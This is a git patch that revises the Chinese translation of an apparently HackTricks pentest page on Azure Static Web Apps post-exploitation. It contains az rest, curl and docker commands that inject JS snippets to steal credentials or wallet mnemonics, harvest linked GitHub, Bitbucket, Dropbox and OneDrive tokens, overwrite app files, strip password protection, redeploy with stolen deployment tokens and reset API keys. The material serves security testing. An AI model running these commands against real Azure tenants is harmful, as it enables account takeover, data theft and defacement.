From d4ea73498ac5ad2ca3aa8c1495ed87e700a0f956 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 11:54:33 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-static-web-apps-privesc.md | 73 ++++++++++--------- 1 file changed, 40 insertions(+), 33 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index 2b73ef69e..9b258a5fa 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -1,10 +1,10 @@ -# Az - 静态 Web 应用程序后期利用 +# Az - Static Web Apps Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## Azure 静态 Web 应用程序 +## Azure Static Web Apps -有关此服务的更多信息,请查看: +有关此服务的更多信息,请参阅: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,9 +12,9 @@ ### Microsoft.Web/staticSites/snippets/write -可以通过创建一个代码片段使静态网页加载任意 HTML 代码。这可能允许攻击者在 Web 应用程序中注入 JS 代码,并窃取敏感信息,例如凭据或助记密钥(在 web3 钱包中)。 +通过创建一个 snippet,可以使静态网页加载任意 HTML 代码。这可能允许攻击者在 web app 中注入 JS 代码,并窃取敏感信息,例如凭证或助记词(在 web3 wallets 中)。 -以下命令创建一个将始终被 Web 应用程序加载的代码片段:: +下面的命令创建了一个 snippet,该 snippet 将始终被 web app 加载:: ```bash az rest \ --method PUT \ @@ -31,22 +31,22 @@ az rest \ } }' ``` -### 读取配置的第三方凭据 +### 阅读已配置的第三方凭据 -如在应用服务部分所述: +如在 App Service 部分所述: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -运行以下命令可以**读取当前账户中配置的第三方凭据**。请注意,如果例如某些Github凭据配置在不同的用户中,您将无法从另一个用户访问该令牌。 +运行下面的命令可以**读取当前帐户中配置的第三方凭据**。注意,例如如果某些 Github 凭据配置在不同的用户下,你将无法从其他用户访问该 token。 ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` -此命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的令牌。 +该命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的 tokens。 -在这里有一些检查令牌的命令示例: +下面是一些用于检查 tokens 的命令示例: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -69,14 +69,14 @@ curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` -### Overwrite file - Overwrite routes, HTML, JS... +### 覆盖文件 - 覆盖 routes、HTML、JS... -可以通过 Azure 使用 **Github token** 发送请求来 **覆盖包含应用的 Github 仓库中的文件**,请求如下所示,指明要覆盖的文件路径、文件内容和提交信息。 +可以通过 Azure 在拥有 **Github token** 的情况下发送类似下面的请求,来**覆盖 Github repo 中的文件**(该 repo 包含该应用),请求会指明要覆盖的文件路径、文件内容和提交信息。 -攻击者可以利用这一点基本上 **更改 web 应用的内容** 以提供恶意内容(窃取凭据、助记密钥...)或仅仅是 **将某些路径重新路由** 到他们自己的服务器,通过覆盖 `staticwebapp.config.json` 文件。 +攻击者可以滥用这一点,基本上通过**更改 web app 的内容**来提供恶意内容(窃取凭证、助记词等),或者仅仅通过覆盖 `staticwebapp.config.json` 文件来**将某些路径重定向**到他们自己的服务器。 > [!WARNING] -> 请注意,如果攻击者以任何方式成功入侵 Github 仓库,他们也可以直接从 Github 覆盖文件。 +> 注意,如果攻击者以任何方式设法入侵了该 Github repo,他们也可以直接从 Github 覆盖该文件。 ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ ``` ### Microsoft.Web/staticSites/config/write -通过此权限,可以**修改保护静态 Web 应用的密码**,甚至可以通过发送如下请求来取消对每个环境的保护: +有了此权限,可以通过发送如下请求来**修改保护静态 Web 应用的密码**,甚至解除所有环境的保护: ```bash # Change password az rest --method put \ @@ -133,32 +133,38 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -此权限允许获取静态应用的 **API 密钥部署令牌**: +此权限允许获取静态应用的 **API key deployment token**。 + +使用 az rest: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` -然后,为了**使用令牌更新应用程序**,您可以运行以下命令。请注意,此命令是通过检查**如何 Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) 工作**提取的,因为这是 Azure 默认设置使用的。因此,图像和参数在未来可能会发生变化。 +使用 AzCLI: +```bash +az staticwebapp secrets list --name --resource-group +``` +Then, in order to **使用 token 更新应用** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future. > [!TIP] -> 要部署应用程序,您可以使用来自[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token)的**`swa`**工具,或按照以下原始步骤操作: +> 要部署该应用,您可以使用来自 [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) 的 **`swa`** 工具,或按以下原始步骤操作: -1. 下载仓库[https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(或您想要部署的任何其他仓库),并运行`cd react-basic`。 -2. 更改您想要部署的代码 -3. 运行部署(记得更改``): +1. 下载仓库 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(或任何你想部署的仓库),然后运行 `cd react-basic`。 +2. 修改你想部署的代码 +3. 通过运行以下命令部署它(记得更改 ``): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> 即使您拥有令牌,如果**部署授权策略**设置为**Github**,您也将无法部署应用程序。要使用令牌,您需要权限`Microsoft.Web/staticSites/write`以更改部署方法以使用API令牌。 - +> 即使你拥有该 token,如果 **部署授权策略** 设置为 **Github**,你仍然无法部署应用。要使用该 token,你需要权限 `Microsoft.Web/staticSites/write` 来将部署方法更改为使用该 API token。 + ### Microsoft.Web/staticSites/write -拥有此权限后,可以**将静态Web应用的源更改为不同的Github存储库**,但是,它不会自动配置,因为这必须通过Github Action完成。 +拥有此权限可以 **将静态 Web 应用的源更改为不同的 Github 存储库**,但它不会被自动配置,因为这必须通过 Github Action 完成。 -但是,如果**部署授权策略**设置为**Github**,则可以**从新的源存储库更新应用程序!**。 +然而,如果 **部署授权策略** 设置为 **Github**,就可以 **从新的源存储库更新应用!**。 -如果**部署授权策略**未设置为Github,您可以使用相同的权限`Microsoft.Web/staticSites/write`进行更改。 +如果 **部署授权策略** 未设置为 Github,你可以使用相同的权限 `Microsoft.Web/staticSites/write` 来更改它。 ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -181,7 +187,7 @@ az rest --method PATCH \ } }' ``` -示例 Github Action 部署应用程序: +示例 Github Action 用于部署该应用: ```yaml name: Azure Static Web Apps CI/CD @@ -244,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -通过此权限,可以**重置静态 Web 应用的 API 密钥**,可能会导致自动部署应用的工作流出现拒绝服务。 +拥有此权限可以**重置 static web app 的 API key**,可能会对自动部署该应用的 workflows 发起 DoSing。 ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -此权限允许**创建用户邀请**以访问静态 Web 应用程序中具有特定角色的受保护路径。 +该权限允许 **为用户创建邀请**,使其以指定角色访问静态 Web 应用内的受保护路径。 -登录位于 `/.auth/login/github`(用于 GitHub)或 `/.auth/login/aad`(用于 Entra ID)这样的路径,用户可以使用以下命令被邀请: +登录位于诸如 `/.auth/login/github`(用于 github)或 `/.auth/login/aad`(用于 Entra ID)这样的路径,用户可以使用以下命令被邀请: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -266,11 +272,12 @@ az staticwebapp users invite \ ``` ### Pull Requests -默认情况下,同一仓库中分支的 Pull Requests 将在暂存环境中自动编译和构建。这可能被具有写入访问权限但无法绕过生产分支(通常是 `main`)的分支保护的攻击者滥用,以 **在暂存 URL 中部署恶意版本的应用**。 +默认情况下,来自同一 repo 分支的 Pull Requests 会在一个 staging environment 中被自动编译和构建。具有对该 repo 的写权限但无法绕过生产分支(通常是 `main`)分支保护的攻击者,可能会滥用这一点,在 staging URL 上 **部署应用的恶意版本**。 -暂存 URL 的格式为:`https://-..`,例如:`https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> 请注意,默认情况下,外部 PR 不会运行工作流,除非它们至少合并了 1 个 PR 到仓库中。攻击者可以向仓库发送有效的 PR,然后 **再发送一个恶意 PR**,以在暂存环境中部署恶意应用。然而,有一个意外的保护,默认的 Github Action 在部署到静态 Web 应用时需要访问包含部署令牌的秘密(如 `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`),即使部署是通过 IDToken 完成的。这意味着,由于外部 PR 无法访问此秘密,并且外部 PR 不能更改工作流以在此放置任意令牌而不被接受,**此攻击实际上是行不通的**。 +> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**. + {{#include ../../../banners/hacktricks-training.md}}